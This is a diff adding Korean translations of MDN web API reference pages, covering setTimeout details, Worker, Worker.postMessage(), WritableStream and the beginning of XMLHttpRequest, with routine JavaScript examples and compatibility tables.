+<p>최신 브라우저에서 0ms 타임아웃을 구현하려면, <a class="external" href="http://dbaron.org/log/20100309-faster-timeouts">이곳에 설명된</a> {{domxref("window.postMessage()")}}를 사용할 수 있습니다.</p>
+
+<h4 id="비활성_탭에서_타임아웃이1000ms에_여러_번_일어날_경우">비활성 탭에서 타임아웃이1000ms에 여러 번 일어날 경우</h4>
+
+<p>부하와 배터리 사용양을 줄이기 위해서, 비활성화 탭들에서 타임아웃이 1초에 여러번 일어나지 않도록 "clamping" 됩니다.</p>
+
+<p>Firefox는 5버전부터 이 동작을 구현했습니다. ({{bug(633421)}}참고, 1000ms 상수는  <span class="comment-copy"><code>dom.min_background_timeout_value</code> 설정을 통해 수정할 수 있습니다)</span><br>
+ Chrome은  11버전부터 구현했습니다 (<a class="external" href="http://crbug.com/66078">crbug.com/66078</a>).</p>
+
+<p>Android용 Firefox는 {{bug(736602)}} 이후 버전 14부터 백그라운드 탭에 15분의 타임아웃을 사용하고, 완전히 unload도 할 수 있습니다.</p>
+
+<h4 id="타임아웃_지연">타임아웃 지연</h4>
+
+<p>"clamping"과 더불어, 타임아웃은 다른 작업들로 인해 바쁜 페이지에서 늦게 실행될 수 있습니다.</p>
+
+<h3 id="최대_지연_값">최대 지연 값</h3>
+
+<p>Internet Explorer, Chrome, Safari, and Firefox 포함하는 브라우저들은 내부적으로 32-bit 부호있는 정수로 지연 값을 저장합니다. 이로 인해 2147483647보다 더 큰 지연을 사용할 때 정수 오버플로우가 발생하여, 타임아웃이 즉시 실행됩니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>사양</th>
+ <th>상태</th>
+ <th>주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Initial definition (DOM Level 0)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>기본</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1")}}</td>
+ <td>4.0</td>
+ <td>4.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>Callback 매개변수 지원<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>기본</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile("1")}}</td>
+ <td>6.0</td>
+ <td>6.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>Callback 매개변수 지원<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 첫번째 form에서 매개변수를 지원하는지에 대한 여부.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></li>
+ <li>{{domxref("WindowTimers.clearTimeout")}}</li>
+ <li>{{domxref("WindowTimers.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ko/web/api/worker/index.html b/files/ko/web/api/worker/index.html
new file mode 100644
index 0000000000..7eb924f469
--- /dev/null
+++ b/files/ko/web/api/worker/index.html
@@ -0,0 +1,129 @@
+---
+title: Worker
+slug: Web/API/Worker
+tags:
+ - API
+ - DOM
+ - Interface
+ - JavaScript
+ - Reference
+ - Web Workers
+ - Worker
+ - 워커
+ - 웹 워커
+translation_of: Web/API/Worker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/API/Web_Workers_API">Web Workers API</a>의<strong> <code>Worker</code></strong> 인터페이스는 스크립트로 생성하고, 생성자와 메시지로 통신하는 백그라운드 작업을 나타냅니다.</span> 워커의 생성은 <code>Worker("path/to/worker/script")</code> 생성자를 통해 할 수 있습니다.</p>
+
+<p>워커는 부모 페이지와 같은 {{glossary("origin", "출처")}}에 호스팅 된 다른 워커를 생성할 수 있습니다. (참고: <a href="https://bugs.webkit.org/show_bug.cgi?id=22723">WebKit은 아직 중첩 워커를 구현하지 않았습니다.</a>)</p>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers"><code>Worker</code> 내에서 사용할 수 있는 인터페이스와 함수</a>는 제한돼있습니다. 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 통신을 할 수 있지만, 응답의 <code>responseXML</code>과 <code>channel</code> 특성은 항상 {{jsxref("null")}}입니다. (<code><a href="/ko/docs/Web/API/Fetch_API">fetch</a></code>는 이러한 제한 없이 사용할 수 있습니다.)</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>주어진 URL의 스크립트를 실행하는 전용 웹 워커를 생성합니다. <a href="/ko/docs/Web/API/Blob">Blob URL</a>도 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>부모 {{domxref("EventTarget")}}에서 속성을 상속하고, {{domxref("AbstractWorker")}}의 속성을 구현합니다.</p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd><code>error</code> 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다. {{domxref("AbstractWorker")}}에서 상속합니다.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd><code>message</code> 유형의 {{domxref("MessageEvent")}}가 워커로 확산되면, 즉 {{domxref("DedicatedWorkerGlobalScope.postMessage")}}를 통해 워커에서 부모 문서로 메시지를 전송하면 호출할 {{domxref("EventListener")}}입니다. 메시지는 {{domxref("MessageEvent.data", "data")}} 속성에 들어있습니다.</dd>
+ <dt>{{domxref("Worker.onmessageerror")}}</dt>
+ <dd>{{event("messageerror")}} 이벤트가 발생하면 호출할 {{domxref("EventHandler")}}입니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모 {{domxref("EventTarget")}}에서 메서드를 상속하고, {{domxref("AbstractWorker")}}의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>워커의 내부 범위로 메시지를 전송합니다. 메시지는 임의의 JavaScript 객체입니다.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>워커를 즉시 종료합니다. 현재 워커가 연산을 진행 중이더라도 완료를 기다리지 않습니다. {{domxref("ServiceWorker")}} 인스턴스는 이 메서드를 지원하지 않습니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/Worker/message_event">message</a></code></dt>
+ <dd>워커의 부모가 워커로부터 메시지를 수신했을 대 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/Worker/onmessage">onmessage</a></code> 속성에서도 사용 가능합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/Worker/messageerror_event">messageerror</a></code></dt>
+ <dd><code>Worker</code> 객체가 <a href="/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">역직렬화</a> 할 수 없는 객체를 메시지로 받았을 대 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/Worker/onmessageerror">onmessageerror</a></code> 속성에서도 사용 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/Window/rejectionhandled_event">rejectionhandled</a></code></dt>
+ <dd>{{jsxref("Promise")}}가 거부될 때마다 발생합니다. 거부를 처리할 처리기의 존재 유무는 고려하지 않습니다.<br>
+ <code><a href="/ko/docs/Web/API/WindowEventHandlers/onrejectionhandled">onrejectionhandled</a></code> 속성에서도 사용 가능합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/Window/unhandledrejection_event">unhandledrejection</a></code></dt>
+ <dd>{{jsxref("Promise")}}가 거부됐는데, 처리할 처리기가 없을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/WindowEventHandlers/onunhandledrejection">onunhandledrejection</a></code> 속성에서도 사용 가능합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드 조각은 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 <code>Worker</code> 객체를 생성한 후, 그 <code>Worker</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var myWorker = new Worker("worker.js");
+var first = document.querySelector('#number1');
+
+first.onchange = function() {
+ myWorker.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+}</pre>
+
+<p>전체 예제를 보시려면 저희의 <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">simple-web-worker 예제</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">라이브</a>)를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>워커의 종류마다 지원 상황이 다릅니다. 각각의 페이지를 방문해 더 자세히 알아보세요.</p>
+
+
+
+<p>{{Compat("api.Worker")}}</p>
+
+<h3 id="교차_출처에서의_워커_오류_동작">교차 출처에서의 워커 오류 동작</h3>
+
+<p>초기 명세에서는 교차 출처 워커 스크립트를 불러오려 시도하면 <code>SecurityError</code>가 발생했습니다. 요즘은 오류 대신 {{event("error")}} 이벤트가 발생합니다. <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">이 글</a>에서 교차 출처 처리 방법을 알아보세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers" title="en/Using DOM workers">웹 워커 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a></li>
+ <li>다른 종류의 워커: {{domxref("SharedWorker")}}와 <a href="/ko/docs/Web/API/Service_Worker_API">서비스 워커</a>.</li>
+</ul>
diff --git a/files/ko/web/api/worker/postmessage/index.html b/files/ko/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..5e6053407d
--- /dev/null
+++ b/files/ko/web/api/worker/postmessage/index.html
@@ -0,0 +1,205 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>{{domxref("Worker")}} interface의 메서드, <code><strong>postMessage()</strong></code>는 <code>Worker</code> 자신의 내부 영역으로 메시지를 전달합니다. 이 메서드는 <code>Worker</code> 자신에게 보낼 하나의 매개변수를 받습니다. 매개변수로 들어갈 데이터는 순환 참조를 포함하는 <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> algorithm에 의해 다루어지는 JavaScript 객체를 포함에 어떤 값이든 들어갈 수 있습니다.</p>
+
+<p> <code>Worker</code>는 정보를 다시 {{domxref("DedicatedWorkerGlobalScope.postMessage")}} 메서드를 사용해 받은 정보를 산란시키는 스레드로 전달해줄 수 있다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">myWorker.postMessage(aMessage, transferList);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>aMessage</em></dt>
+ <dd>worker로 전해 줄 객체;  이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.</dd>
+ <dt><em>transferList</em> {{optional_inline}}</dt>
+ <dd>An optional <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a> of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (<em>neutered</em>) in the context it was sent from and becomes available only to the worker it was sent to.</dd>
+ <dd>Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. <code>null</code> is not an acceptable value for the <code>transferList</code>.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>The following code snippet shows the creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (<code>first</code> and <code>second</code>) have their values changed, {{event("change")}} events invoke <code>postMessage()</code> to send the value of both inputs to the current worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+ myWorker.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>postMessage()</code> can only send a single object at once. As seen above, if you want to pass multiple values you can send an array.</p>
+</div>
+
+<h3 id="Transfer_Example">Transfer Example</h3>
+
+<p>This example shows a Firefox add-on that transfers an <code>ArrayBuffer</code> from the main thread to the <code>ChromeWorker</code>, and then the <code>ChromeWorker</code> transfers it back to the main thread.</p>
+
+<h4 id="Main_thread_code">Main thread code:</h4>
+
+<pre class="brush: js">var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+ console.log('incoming message from worker, msg:', msg);
+ switch (msg.data.aTopic) {
+ case 'do_sendMainArrBuff':
+ sendMainArrBuff(msg.data.aBuf)
+ break;
+ default:
+ throw 'no aTopic on incoming message to ChromeWorker';
+ }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+</pre>
+
+<h4 id="Worker_code">Worker code</h4>
+
+<pre class="brush: js">self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+</pre>
+
+<h4 id="Output_logged">Output logged</h4>
+
+<pre>arrBuf.byteLength pre transfer: 8 bootstrap.js:40
+arrBuf.byteLength post transfer: 0 bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8 myWorker.js:5:2
+
+incoming message from worker, msg: message { ... } bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8 bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0 myWorker.js:7:2</pre>
+
+<p><code>byteLength</code> goes to 0 as it is transferred. To see a full working example of this Firefox demo add-on see here: <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10.0 [1]</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10.0 [1]</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer does not support {{domxref("Transferable")}} objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Worker")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/writablestream/index.html b/files/ko/web/api/writablestream/index.html
new file mode 100644
index 0000000000..d4496f4ad2
--- /dev/null
+++ b/files/ko/web/api/writablestream/index.html
@@ -0,0 +1,144 @@
+---
+title: WritableStream
+slug: Web/API/WritableStream
+translation_of: Web/API/WritableStream
+---
+<p>{{SeeCompatTable}}{{APIRef("Streams")}}</p>
+
+<p><a href="/en-US/docs/Web/API/Streams_API">Streams API</a>의 <strong><code>WritableStream</code></strong>는 지정된 곳에 스트림 데이터를 writing하기 위한 싱크 추상 인터페이스입니다. 이 객체는 내장 백프레셔와 큐잉으로 구성되어 있다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.WritableStream", "WritableStream()")}}</dt>
+ <dd>새 <code>WritableStream</code> 오브젝트를 생성한다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.locked")}} {{readonlyinline}}</dt>
+ <dd><code>WritableStream</code>의 locked 여부를 boolean 값으로 반환한다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.abort()")}}</dt>
+ <dd>스트림을 중단한다. 생산자에게 더 이상 쓰기 스트림을 사용할 수 없으며 에러 상태로 전한됨을 고지한다. 큐잉되어 있던 모든 쓰기 작업은 소실된다.</dd>
+ <dt>{{domxref("WritableStream.getWriter()")}}</dt>
+ <dd>새 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하고 스트림에 락을 건다. 스트림에 락이 걸린 동안에는 해제하기 전까지 다른 writer를 요청할 수 없다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예시는 본 인터페이스의 몇 가지 기능을 소개합니다. 커스텀 콜백과 API를 통한 queuing strategy 값을 가지고 <code>WritableStream</code>을 생성하는 법을 보여줍니다. 그 후 생성된 스트림과 문자열을 전달하여 <code>sendMessage()</code>를 합니다. 함수 내부에선 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하는 스트림의 <code>getWriter()</code> 메소드를 호출합니다. 문자열 조각들을 각각 스트림에 쓰기 위해 <code>forEach()</code> 를 사용하구요. 마지막으로 문자열 조각과 스트림 성공/실패를 처리하기 위해 <code>write()</code>와 <code>close()</code>는 Promise를 반환합니다.</p>
+
+<ul>
+</ul>
+
+<pre class="brush: js">const list = document.querySelector('ul');
+
+function sendMessage(message, writableStream) {
+ // defaultWriter is of type WritableStreamDefaultWriter
+ const defaultWriter = writableStream.getWriter();
+ const encoder = new TextEncoder();
+ const encoded = encoder.encode(message, { stream: true });
+ encoded.forEach((chunk) =&gt; {
+ defaultWriter.ready
+ .then(() =&gt; {
+ return defaultWriter.write(chunk);
+ })
+ .then(() =&gt; {
+ console.log("Chunk written to sink.");
+ })
+ .catch((err) =&gt; {
+ console.log("Chunk error:", err);
+ });
+ });
+ // Call ready again to ensure that all chunks are written
+ // before closing the writer.
+ defaultWriter.ready
+ .then(() =&gt; {
+ defaultWriter.close();
+ })
+ .then(() =&gt; {
+ console.log("All chunks written");
+ })
+ .catch((err) =&gt; {
+ console.log("Stream error:", err);
+ });
+}
+
+const decoder = new TextDecoder("utf-8");
+const queuingStrategy = new CountQueuingStrategy({ highWaterMark: 1 });
+let result = "";
+const writableStream = new WritableStream({
+ // Implement the sink
+ write(chunk) {
+ return new Promise((resolve, reject) =&gt; {
+ var buffer = new ArrayBuffer(2);
+ var view = new Uint16Array(buffer);
+ view[0] = chunk;
+ var decoded = decoder.decode(view, { stream: true });
+ var listItem = document.createElement('li');
+ listItem.textContent = "Chunk decoded: " + decoded;
+ list.appendChild(listItem);
+ result += decoded;
+ resolve();
+ });
+ },
+ close() {
+ var listItem = document.createElement('li');
+ listItem.textContent = "[MESSAGE RECEIVED] " + result;
+ list.appendChild(listItem);
+ },
+ abort(err) {
+ console.log("Sink error:", err);
+ }
+}, queuingStrategy);
+
+sendMessage("Hello, world.", writableStream);</pre>
+
+<p><a href="https://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer example</a>에서 전체 코드를 볼 수 있습니다.</p>
+
+<h3 id="백프레셔(배압)">백프레셔(배압)</h3>
+
+<p>API 내부에서 백프레셔가 어떻게 구현되어 있는지에 따라 코드가 보기에 영 깔끔하지 않을 수 있습니다. 세 가지 관점에서 백프레셔가 어떻게 구현되어 있는지 알아봅시다.</p>
+
+<ul>
+ <li>Counting strategy를 생성할 때 35라인에서 지정 된 <code>highWaterMark</code> 프로퍼티는 <code>write()</code>를 한 번 호출할때 <code>WritableStream</code>가 처리할 수 있는 최대 데이터량을 지정합니다. 이 예시에선 <code>defaultWriter.write()</code> 에 처리할 수 있는 최대량이 전달됩니다 (line 9).</li>
+ <li><code>writer.ready</code>프로퍼티는 <code>(WritableStream</code> 생성자의 첫 번째 파라미터로 전달 된) 콜백 객체가 데이터 쓰기를 완료했을 때 resolved되는 Promise를 반환합니다. 데이터 소스는 추가 데이터를 write하거나 (line 9) <code>close()</code> 를 호출할 수 있습니다(line 21). close()를 빨리 호출하면 더 이상 데이터를 쓸 수 없게 막을 수 있습니다. 예시에서  <code>writer.ready</code>를 두 번 호출한 이유입니다 (lines 7 and 19). </li>
+ <li>콜백 객체의  <code>write()</code>가 반환한 {{jsxref("Promise")}}는 <code>WritableStream</code>과 그 writer가 <code>writer.ready</code>를 언제 resolve 해야 할 지 알려줍니다.</li>
+</ul>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Streams','#ws-class','WritableStream')}}</td>
+ <td>{{Spec2('Streams')}}</td>
+ <td>최초 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.WritableStream")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://whatwg-stream-visualizer.glitch.me/">WHATWG Stream Visualiser</a>, redable, writable 스트림 및 스트림간 변환을 시각화 한 예시.</li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/index.html b/files/ko/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..43437969b0
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/index.html
@@ -0,0 +1,194 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+ - AJAX
+ - API
+ - HTTP
+ - XHR
+ - XMLHttpRequest
+ - 레퍼런스
+ - 웹
+ - 인터페이스
+ - 통신
+translation_of: Web/API/XMLHttpRequest
+---
+<p>{{DefaultAPISidebar("XMLHttpRequest")}}<br>
+ <code>XMLHttpRequest</code>(XHR) 객체는 서버와 상호작용하기 위하여 사용됩니다. 전체 페이지의 새로고침없이도 URL 로부터 데이터를 받아올 수 있습니다. 이는 웹 페이지가 사용자가 하고 있는 것을 방해하지 않으면서 페이지의 일부를 업데이트할 수 있도록 해줍니다. <code>XMLHttpRequest</code> 는 {{Glossary("AJAX")}} 프로그래밍에 주로 사용됩니다.</p>
+
+<p><span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{InheritanceDiagram(650, 150)}}</span></p>
+
+<p><code>XMLHttpRequest</code> 는 이름으로만 봐서는 XML 만 받아올 수 있을 것 같아 보이지만, 모든 종류의 데이터를 받아오는데 사용할 수 있습니다. 또한 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP">HTTP</a> 이외의 프로토콜도 지원합니다(<code>file</code> 과 <code>ftp</code> 포함).</p>
+
+<p>통신을 통해 서버로부터 이벤트나 메시지 데이터를 받아야 한다면, {{domxref("EventSource")}} 를 통한 <a href="https://developer.mozilla.org/ko/docs/Web/API/Server-sent_events">server-sent events</a> 사용을 고려하세요. 완전 양방향 통신을 해야 한다면 <a href="https://developer.mozilla.org/ko/docs/WebSockets">웹 소켓</a>이 더 나은 선택일 수 있습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
+ <dd>생성자는 XMLHttpRequest 를 초기화합니다. 다른 모든 메소드 호출이전에 호출되어야 합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 {{domxref("XMLHttpRequestEventTarget")}} 과 {{domxref("EventTarget")}} 의 속성도 상속합니다.</em></p>
+
+<dl>
+ <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
+ <dd><code>readyState</code> 어트리뷰트가 변경될때마다 호출되는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
+ <dd>요청의 상태를 <code>unsigned short</code> 로 반환합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
+ <dd>응답 엔티티 바디를 갖는하는 {{domxref("XMLHttpRequest.responseType")}} 의 값에 따라 {{jsxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript 객체, 또는 {{domxref("DOMString")}} 을 반환합니다.</dd>
+ <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
+ <dd>요청에 대한 응답을 텍스트로 갖는 {{domxref("DOMString")}} 을 반환합니다. 요청이 성공하지 못했거나 아직 전송되지 않았을 경우 <code>null</code> 을 반환합니다.</dd>
